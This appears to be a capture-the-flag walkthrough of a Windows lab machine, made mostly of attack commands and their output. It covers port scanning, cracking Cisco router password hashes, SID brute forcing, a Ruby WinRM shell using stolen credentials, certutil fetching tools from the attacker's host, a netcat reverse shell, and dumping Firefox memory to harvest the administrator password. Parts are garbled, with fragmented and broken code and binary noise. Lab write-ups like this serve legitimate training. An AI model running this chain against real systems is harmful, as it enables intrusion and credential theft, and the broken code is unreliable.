

```
root@kali:~/Masaüstü# nmap -sS -sV -p- -T4 10.10.10.149
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-12 18:32 +03
Stats: 0:02:45 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 28.79% done; ETC: 18:42 (0:06:51 remaining)
Stats: 0:10:32 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 42.59% done; ETC: 18:57 (0:14:13 remaining)
Stats: 0:19:51 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 69.32% done; ETC: 19:01 (0:08:47 remaining)
Nmap scan report for 10.10.10.149
Host is up (0.13s latency).
Not shown: 65530 filtered ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49668/tcp open  msrpc        Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```



Welcome, please login

Username



Password



Login

☐ Remember

Login as guest

Issues



Hazard 20 minutes ago



Hi, I've been experiencing problems with my cisco router. Here's a part of the configuration the previous admin had been using. I'm new to this and don't know how to fix it. :(

 [Attachment](#)



Support Admin admin 10 minutes ago



Hi, thanks for posting the issue here. We provide fast support and help. Let me take a look and get back to you!



Hazard 10 minutes ago



Thanks a lot. Also, please create an account for me on the windows server as I need to access the files.

```
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
  bgp log-neighbor-changes
  bgp dampening
  network 192.168.0.0 mask 300.255.255.0
  timers bgp 3 9
  redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh
```

<http://insecure.org/spl0its/cisco.passwords.html>. The passwords will be in lines like:

enable password 7 095C4F1A0A1218000F

...

username user password 7 12090404011C03162E

Take the type 7 password, such as the text above in red, and paste it into the box below and click "Crack Password".

Type 7 Password: 0242114B0E143F015F5D1E161713

Crack Password

Plain text: \$uperP@ssword

<http://insecure.org/splotts/cisco.passwords.html>. The passwords will be in lines like:

enable password 7 095C4F1A0A1218000F

...

username user password 7 12090404011C03162E

Take the type 7 password, such as the text above in red, and paste it into the box below and click "Crack Password".

Type 7 Password: 02375012182C1A1D751618034F36415408

Crack Password

Plain text: Q4)sJu\Y8qz*A3?d

Have you got a type 5 password you want to break? Try our [Cisco IOS type 5 enable secret password cracker](#) instead..

```
root@kali:~/Masaüstü# openssl passwd -1 -salt pdQG -table -in /usr/share/wordlists/rockyou.txt |grep XrjlvKc91
stealth1agent $1$pdQG$o8nrSzsGXeaduXrjlvKc91
```



```
root@kali:~/Downloads/impacket-impacket_0_9_17/examples# ./lookupsid.py WORKGROUP/hazard:stealthlagent@10.10.10.149
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
```

```
[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
```



```
root@kali:~/Downloads/impacket-impacket_0_9_17/examples# ./lookupsid.py WORKGROUP/Guest:"Q4)sJu\Y8qz*A3?d"@10.10.10.149
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
root@kali:~/Downloads/impacket-impacket_0_9_17/examples# ./lookupsid.py WORKGROUP/DefaultAccount:"Q4)sJu\Y8qz*A3?d"@10.10.10.149
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
root@kali:~/Downloads/impacket-impacket_0_9_17/examples# ./lookupsid.py WORKGROUP/WDAGUtilityAccount:"Q4)sJu\Y8qz*A3?d"@10.10.10.149
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
root@kali:~/Downloads/impacket-impacket_0_9_17/examples# ./lookupsid.py WORKGROUP/Chase:"Q4)sJu\Y8qz*A3?d"@10.10.10.149
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
```

WinRM shell (a.k.a. PowerShell Remoting) with file upload capability

09 Apr 2018 · Coding Cybersecurity ruby tool winrm shell powershell upload

According to Microsoft, PowerShell Remoting is the recommended way to manage Windows systems. PowerShell Remoting uses Windows Remote Management (WinRM), which is the Microsoft implementation of the Web Services for Management (WS-Management) protocol, to allow users to run PowerShell commands on remote computers. But can we make use of it (i.e. connect) from a Linux machine?

For the time being, PowerShell on Linux is not mature and cannot communicate correctly with a Windows Machine using WinRM. Same goes for the Python modules I tested. The only thing that seems to work correctly on Linux is some Ruby modules (winrm and winrm-fs). So, I wrote the following Ruby script which also features a file upload capability.

```
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt

conn = WinRM::Connection.new(
  endpoint: 'https://IP:PORT/wsman',
  transport: :ssl,
  user: 'username',
  password: 'password',
  :no_ssl_peer_verification => true
)

class String
  def tokenize
    self.
      split(/\s(?:[^\s]|'|"[^"]*"|'["']*')+/).
      select {|s| not s.empty? }.
      map {|s| s.gsub(/(^ +)|(+ $)|(^['"]+)|(['"]+$)/, '')}
  end
end
```

```
require 'winrm-fs'
```

```
# Author: Alamot
```

```
# To upload a file type: UPLOAD local_path remote_path
```

```
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
```

```
conn = WinRM::Connection.new(  
  endpoint: 'http://10.10.10.149:5985/wsman',  
  transport: :ssl,  
  user: 'Chase',  
  password: 'Q4)sJu\Y8qz*A3?d',  
  :no_ssl_peer_verification => true  
)
```

```
file_manager = WinRM::FS::FileManager.new(conn)
```

```
class String
```

```
  def tokenize
```

```
    self.
```

```
    split(/\s(?:=(?:[^\s]|'[^']*'|"[^"]*"*)*)$/).
```

```
    select {|s| not s.empty? }.
```

```
    map {|s| s.gsub(/(^ +)|(+ $)|(^['"]+)|(['"]+$)/, '')}
```

```
  end
```

```
end
```

```
command=""
```

```
conn.shell(:powershell) do |shell|
```

```
  until command == "exit\n" do
```

```
    output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$(gi $pwd).Name),'> ')"
```

```
    print(output.output.chomp)
```

```
    command = gets
```

```
    if command.start_with?('UPLOAD') then
```

```
      upload command = command.tokenize
```

```
root@kali:~/Masaüstü# ruby winrm_shell_with_upload.rb
```

```
PS supportdesk\chase@SUPPORTDESK Documents> whoami
```

```
supportdesk\chase
```

```
PS supportdesk\chase@SUPPORTDESK Documents> dir
```

```
Directory: C:\Users\Chase\Documents
```

Mode	LastWriteTime	Length	Name
-a----	8/12/2019 8:11 PM	73802	1.exe
-a----	8/12/2019 8:48 PM	0	firefox.exe_190812_204830.dmp
-a----	8/12/2019 8:12 PM	61440	n.exe
-a----	8/12/2019 8:15 PM	188685	out.txt
-a----	8/12/2019 8:22 PM	175104	pd.exe
-a----	8/12/2019 8:19 PM	341672	procdump.exe
-a----	8/12/2019 8:46 PM	573560	report.txt
-a----	8/12/2019 8:43 PM	7168	sh.exe
-a----	8/12/2019 8:11 PM	14177	WinEnum.bat
-a----	8/12/2019 8:46 PM	1439	wmic.txt

```
PS supportdesk\chase@SUPPORTDESK Documents> cd ..
```

```
PS supportdesk\chase@SUPPORTDESK Chase> cd Desktop
```

```
PS supportdesk\chase@SUPPORTDESK Desktop> dir
```



```
PS supportdesk\chase@SUPPORTDESK Documents> cd ..
PS supportdesk\chase@SUPPORTDESK Chase> cd Desktop
PS supportdesk\chase@SUPPORTDESK Desktop> dir
```

Directory: C:\Users\Chase\Desktop

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	4/22/2019 9:08 AM	121	todo.txt
-a----	4/22/2019 9:07 AM	32	user.txt

```
PS supportdesk\chase@SUPPORTDESK Desktop> cat user.txt
a127daef77ab6d9d92008653295f59c4
PS supportdesk\chase@SUPPORTDESK Desktop> 
```

```
PS supportdesk\chase@SUPPORTDESK Downloads> certutil.exe -urlcache -split -f "http://10.10.12.106:8081/procdump.exe"
```

```
**** Online ****
```

```
000000 ...
```

```
09f0a0
```

```
CertUtil: -URLCache command completed successfully.
```

```
PS supportdesk\chase@SUPPORTDESK Downloads> dir
```

```
Directory: C:\Users\Chase\Downloads
```

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	8/14/2019 11:36 AM	651424	procdump.exe

```
PS supportdesk\chase@SUPPORTDESK Downloads> get-process
```

Handles	NPM(K)	PM(K)	WS(K)	CPU(s)	Id	SI	ProcessName
-----	-----	-----	-----	-----	--	--	-----
210	12	4000	9340	5.64	3136	0	back
139	7	1440	4840	0.31	3768	0	check
333	19	14532	23132	12.09	5872	0	check
78	5	2356	3896	0.02	3080	0	cmd
149	9	6660	12276	0.17	6068	0	conhost
149	10	6716	12284	0.06	6652	0	conhost
128	8	6484	10892	0.84	6844	0	conhost
611	22	2372	5072		400	0	csrss
299	17	2380	4724		496	1	csrss
358	15	3560	14256		5124	1	ctfmon
259	14	4100	13228		4084	0	dllhost
164	9	1936	9844	0.14	6824	1	dllhost
616	32	33232	59080		1020	1	dwm
1497	58	24292	78948		5516	1	explorer
360	26	16572	279784	0.56	6172	1	firefox
1118	68	117844	456792	28.16	6392	1	firefox
341	18	10076	38496	0.33	6516	1	firefox
408	32	17388	62132	2.14	6740	1	firefox
390	30	32820	67028	22.80	7024	1	firefox


```
PS supportdesk\chase@SUPPORTDESK Downloads> cmd.exe /c "nc64.exe 10.10.12.106 4444 -e cmd.exe"
```

```
root@kali:~/Masaüstü# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.12.106] from (UNKNOWN) [10.10.10.149] 49886
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Users\Chase\Downloads>dir
```

```
dir
```

```
Volume in drive C has no label.
```

```
Volume Serial Number is 78E3-E62D
```

```
Directory of C:\Users\Chase\Downloads
```

08/14/2019	11:46 AM	<DIR>	.
08/14/2019	11:46 AM	<DIR>	..
08/14/2019	11:46 AM		45,272 nc64.exe
08/14/2019	11:36 AM		651,424 procdump.exe
		2 File(s)	696,696 bytes
		2 Dir(s)	5,642,362,880 bytes free

```
C:\Users\Chase\Downloads>procdump.exe -ma 7024
```

```
procdump.exe -ma 7024
```

```
ProcDump v9.0 - Sysinternals process dump utility
```

```
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
```

```
Sysinternals - www.sysinternals.com
```

```
[12:00:43] Dump 1 initiated: C:\Users\Chase\Downloads\firefox.exe_190814_120043.dmp
```

```
[12:00:45] Dump 1 writing: Estimated dump file size is 303 MB.
```

```
[12:01:10] Dump 1 complete: 303 MB written in 27.1 seconds
```

```
[12:01:11] Dump count reached.
```

```
C:\Users\Chase\Downloads>dir
```

```
dir
```

```
Volume in drive C has no label.
```

```
Volume Serial Number is 78E3-E62D
```

```
Directory of C:\Users\Chase\Downloads
```

08/14/2019	12:01 PM	<DIR>	.
08/14/2019	12:01 PM	<DIR>	..
08/14/2019	12:01 PM	310,173,355	firefox.exe_190814_120043.dmp
08/14/2019	11:46 AM	45,272	nc64.exe
08/14/2019	11:36 AM	651,424	procdump.exe
	3 File(s)	310,870,051 bytes	
	2 Dir(s)	4,802,801,664 bytes free	

```
C:\Users\Chase\Downloads>█
```

1-3-16GetEventClassesForI16GetInstanceIDFromI16GetInstanceIDFromAppI16GetFileTypeAndAppIDExportPartitionASMSIExportASMSINTGetCLSIDDataIReceiveAppDataPushAppDataIGetAppDataInPro
cOnLoadOnUnloadIsServiceInstalledSetErrorIfClsIdAlreadyI
nloadedIsProcessPausedNeedWaitForSnapshotCompletedIsVolumeSupportedIsSupportedAreLunsSupportedIsVolumeSnapshotEnumTraceGuidStopTraceGuidStartTraceGuidIEventServerTraceInsta
llServiceUninstallServiceCreateApplicationServiceDeleteAppl
icationServiceStopServiceStartServiceOnLunStateChangeFlushPartitionCacheReadTableWriteTableRegisterModuleUnregisterModuleSnapshotDoneEveryoneCreateShareRemoveShareSetPushRateIs
SafeToDeleteDoBackupCompleteRegisterExeINTServiceConfig
IsServiceRunningRefreshLocalIReplicationUtilRegisterDllICSServiceControlIApplicationControlItemMarkAppAsSystemMarkAppAsNotSystemInitializeSessionICatalogSessionSystem Applicati
onCom+ Explorer Tracking Event Subscription
ApplicationServer ApplicationCOM+ Utilities ApplicationShutdownApplicationStartApplicationImportApplicationExportApplicationQueryApplicationGetServerInformation%
systemroot%\RegistrationBase Application
PartitionSetPartitionProcessShutdownGetTypeLibInfoICatalogTableInfoGetClientTableInfoFillInLunInfoGetPSClassInfoGetRemoteClassInfo%systemroot%\system32\com\dmpIPProcessDumpConfi
gureSystemAppCOMSysAppIMtsGrpAdministrators
groupICatalogSetupReaderVMware Snapshot ProviderUnregisterProviderIVssSoftwareSnapshotProviderCOM+ QC Dead Letter Queue ListenerRemoteHelper.RemoteHelperCOM+ ExplorerQC Trusted
UserInteractive UserValidateUserIRegisterUnregisterMy
ComputerCOMSVCS.TrackerServerIEventServerCreateReplicationDirCreateEmptyDirAdministratorIvmSnapshotRequestorGetProviderCapabilitiesCOM+ UtilitiesGetSnapshotPropertiesWaitForEnd
WritesRefreshServiceSettingsUpdateEventMasksEnumeratesSAFERLe
velsICatalogUtilsGetPSDllsGetComponentVersionsIVssProviderNotificationsCopyApplicationsResyncLunsOnReuseLunsLocateLunsGetTargetLunsGetRunningAppsGetAppsBUILTIN/AdministratorsAd
dProcessRecycleProcessResumeProcessPauseProcessRemovePro
cessRecycleCallingProcessShutdownProcessDumpProcesssvmvssSupportsWOWComponentsRefreshComponentsDispatchManyEventsEndPrepareSnapshotsDeleteSnapshotsPreCommitSnapshotsPreFinalComm
itSnapshotsPostFinalCommitSnapshotsPostCommitSnapshotsAbort
SnapshotsSysprepCompPlusQueryRevertStatusQueryStatusGetCallFactoryObjectIVssProviderCreateSnapshotSetMoveComponentAliasComponentImportComponentPromoteLegacyComponentCopyComponen
tMakeNewReplicaCurrentDispatchOneEventCountBeginPrepareSnap
shotRevertToSnapshotStartAbortIAppImportInitialize64BitQueueCellSupportICatalog64BitSupportIComExportIAppExportTcCtx.TransactionContextSetContextIVssHardwareSnapshotProviderExS
tartExTcCtx.TransactionContextExImportComponentAsLegacyIPr
ocessTerminateNotifyQueryGetDefaultAppInstallDirectorySetAppIdentityOnLunEmptySetSnapshotProperty

40 L04@

H00<40`0HT4
`0HT4 L04@
L04@ `0HT4
H00<H00<t0
,H

Select-String firefox.dmp -Pattern 'Administrator'

`0HT4 t0
,H >0A0V3F00n0000p,0000y0000y0Q<N{000600yx0EY0,aSJ0y0uE9S00k <0H0_00c(-0000000
firefox.exe 190814_120043.dmp:1919352:B00csm0taA
00~0@+%000 Files (x86)\Cok0Pd00(0002=C:J0hd00P0~0000=SUPPORTX00P0~system32\cmd.
exeDriverData=C:\Windows\System32\Drivers\DriverDataHOMEDRIVE=C:HOMEPATH=\Windows\system32LOCALAPPDATA=C:\Users\Chase\AppData\LocalMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\Cha
se\AppData\Roaming\Mozilla\Firefox\Crash
ReportsMOZ_CX00_0P0~CTORY=C:\Users\Chase\AppData\Roaming\Mozilla\Firefox\Crash Reports\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\Chase\AppData\Roaming\Mozilla\Firefox\P
ending PingsMOZ_CRASHREPORTER_RESTART_ARG 0=C:\Program
Files\Mozilla Firefox\firefox.exeMOZX000G00RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=MOZ_CRASHREPORTER_STRINGS_OVERRIDE
=C:\Program Files\Mozilla Firefox\browser\crashreporter-ov
erride.iniNUMBER_OF_PROCESSORS=40S=Windows_NTPath=C:\ProX00P0~indows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System
32\OpenSSH\;C:\Users\Administrator\AppData\Local\Microsoft\Windows\CurrentVersion\Commands

```

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.149:5985/wsman',
  transport: :ssl,
  user: 'Administrator',
  password: '4dD!5}x/re8]FBuZ|',
  :no_ssl_peer_verification => true
)

file_manager = WinRM::FS::FileManager.new(conn)

class String
  def tokenize
    self.
    split(/\s(?=(?:[^\s]|'[^']*'|"[^"]*"*)*$)/).
    select {|s| not s.empty? }.
    map {|s| s.gsub(/(^ +)|(+ $)|(^['"]+)|(['"]+$)/, '')}
  end
end

command=""

conn.shell(:powershell) do |shell|
  until command == "exit\n" do
    output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',${(gi $pwd).Name},'> ')")
    print(output.output.chomp)
    command = gets
    if command.start_with?('UPLOAD') then
      upload command = command.tokenize
    end
  end
end

```

```
root@kali:~/Masaüstü# ruby winrm_shell_with_upload.rb
PS supportdesk\administrator@SUPPORTDESK Documents> cd ..
cdPS supportdesk\administrator@SUPPORTDESK Administrator>cd Desktop
The term 'ccd' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included,
verify that the path is correct and try again.
At line:1 char:1
+ ccd Desktop
+ ~~~
+ CategoryInfo          : ObjectNotFound: (ccd:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS supportdesk\administrator@SUPPORTDESK Administrator> cd Desktop
PS supportdesk\administrator@SUPPORTDESK Desktop> type root.txt
30dfa3c6bfd20e2e0d071b073d766897
PS supportdesk\administrator@SUPPORTDESK Desktop>
```